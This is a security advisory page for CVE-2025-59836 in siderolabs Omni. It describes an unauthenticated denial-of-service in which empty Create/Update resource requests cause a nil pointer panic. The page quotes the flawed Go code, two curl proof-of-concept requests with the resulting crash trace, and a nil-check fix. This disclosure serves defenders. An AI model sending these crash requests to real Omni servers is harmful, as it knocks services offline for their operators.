Omni is Vulnerable to DoS via Empty Create/Update Resource Requests
Published 13 Oct 2025 · Updated 5 Nov 2025
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Affected packages
- Affected
- >=1.1.0-beta.0 <1.1.5
- Fixed in
- 1.1.5
go get github.com/siderolabs/omni@v1.1.5- Affected
- <1.0.2
- Fixed in
- 1.0.2
go get github.com/siderolabs/omni@v1.0.2Details
Summary
A nil pointer dereference vulnerability in the Omni Resource Service allows unauthenticated users to cause a server panic and denial of service by sending empty create/update resource requests through the API endpoints.
Details
The vulnerability exists in the isSensitiveSpec function which calls grpcomni.CreateResource without checking if the resource's metadata field is nil. When a resource is created with an empty Metadata field, the CreateResource function attempts to access resource.Metadata.Version causing a segmentation fault.
Vulnerable Code
The isSensitiveSpec function in /src/internal/backend/server.go:
func isSensitiveSpec(resource *resapi.Resource) bool {
res, err := grpcomni.CreateResource(resource) // No nil check on resource.Metadata
if err != nil {
return false
}
// ... rest of function
}The CreateResource function expects resource.Metadata to be non-nil:
func CreateResource(resource *resources.Resource) (cosiresource.Resource, error) {
if resource.Metadata.Version == "" { // PANIC: nil pointer dereference
resource.Metadata.Version = "1"
}
// ... rest of function
}The UpdateResource function has the same issue - it also calls CreateResource internally and expects resource.Metadata to be non-nil:
func (s *ResourceServer) Update(ctx context.Context, in *resapi.UpdateRequest) (*resapi.UpdateResponse, error) {
// ... validation code ...
obj, err := CreateResource(in.Resource) // Same vulnerability here
if err != nil {
return nil, err
}
// ... rest of function
}Affected Endpoints
resourceServerCreate- Create Resource API endpointresourceServerUpdate- Update Resource API endpoint
Both endpoints call isSensitiveSpec which triggers the vulnerability when processing empty resources.
PoC
Send empty resource requests to the affected API endpoints:
# Create endpoint
curl -X POST "https://your-omni-instance/api/omni.resources.ResourceService/Create" \
-H "Content-Type: application/json" \
-d '{}'
# Update endpoint
curl -X POST "https://your-omni-instance/api/omni.resources.ResourceService/Update" \
-H "Content-Type: application/json" \
-d '{}'Expected Result: Server panic with segmentation fault:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x293d970]
goroutine 3305 [running]:
github.com/siderolabs/omni/internal/backend/grpc.CreateResource(0x3495420?)
/src/internal/backend/grpc/resource.go:364 +0x20Impact
- Vulnerability Type: Denial of Service (DoS)
- Severity: High - Complete API server crash requiring manual restart if no restart policy is applied.
- Authentication: None required (unauthenticated)
- Complexity: Low (simple HTTP request)
Mitigation
Add nil checks in the isSensitiveSpec function:
func isSensitiveSpec(resource *resapi.Resource) bool {
if resource == nil || resource.Metadata == nil {
return false
}
res, err := grpcomni.CreateResource(resource)
if err != nil {
return false
}
// ... rest of function
}Credits
- @1c3t0rm
- @nicomda
Is GHSA-4p3p-cr38-v5xp in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected github.com/siderolabs/omni, and gives you the command that fixes it.
More advisories for github.com/siderolabs/omni
- LowCVE-2026-45726Omni: Reader-level users can retrieve imported cluster CA keys via ResourceService in github.com/siderolabs/omni · 25 Jun 2026
- LowCVE-2026-45723Omni: Operator can traverse image-factory API paths via unsanitized `talos_version` in CreateSchematic in github.com/siderolabs/omni · 25 Jun 2026
- LowCVE-2026-45720Omni has a TOCTOU race condition that allows multiple concurrent uses of a single-use SAML session token in github.com/siderolabs/omni · 25 Jun 2026
- HighCVE-2026-45726Omni: Reader-level users can retrieve imported cluster CA keys via ResourceService · 5 Jun 2026
- LowCVE-2026-45723Omni: Operator can traverse image-factory API paths via unsanitized `talos_version` in CreateSchematic · 5 Jun 2026
- HighCVE-2026-45720Omni has a TOCTOU race condition that allows multiple concurrent uses of a single-use SAML session token · 5 Jun 2026
References
- Linkgithub.com/siderolabs/omni/security/advisories/GHSA-4p3p-cr38-v5xp
- Advisorynvd.nist.gov/vuln/detail/CVE-2025-59836
- Linkgithub.com/siderolabs/omni/commit/1396083f766a1b0380e9949968d7fc17b7afecaa
- Linkgithub.com/siderolabs/omni/commit/1fd954af64985a8b3dbf5b11deddbf7cd953f5ae
- Packagegithub.com/siderolabs/omni
- Linkpkg.go.dev/vuln/GO-2025-4021
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.